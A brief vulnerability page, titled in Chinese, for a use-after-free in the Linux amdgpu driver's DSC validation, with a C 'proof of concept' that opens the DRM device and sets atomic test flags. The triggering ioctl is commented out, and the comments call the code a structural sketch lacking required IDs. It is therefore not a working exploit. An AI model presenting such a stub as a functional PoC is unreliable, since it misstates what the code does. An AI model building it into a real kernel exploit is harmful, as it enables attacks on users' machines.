CVE-2026-31488 Linux内核AMD显卡驱动Use-After-Free漏洞

/* * PoC for CVE-2026-31488 * Triggering the Use-After-Free in amdgpu DSC validation. * Compile: gcc -o poc cve-2026-31488.c -ldrm */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/drm_mode.h> int main() { int fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("open"); return 1; } struct drm_mode_atomic atomic_arg = {0}; atomic_arg.flags = DRM_MODE_ATOMIC_TEST_ONLY | DRM_MODE_ATOMIC_ALLOW_MODESET; // Setup properties to trigger the specific path: // 1. Configure a CRTC with DSC enabled. // 2. Simulate a scenario where DSC config is recalculated but timing is same, // while another unrelated mode change is pending. // This requires specific hardware (AMD GPU) and topology. // In a real scenario, specific blob IDs and connector IDs are required. // This is a structural representation of the trigger. printf("Attempting to trigger atomic commit with conflicting mode state...\n"); // ioctl(fd, DRM_IOCTL_MODE_ATOMIC, &atomic_arg); close(fd); return 0; }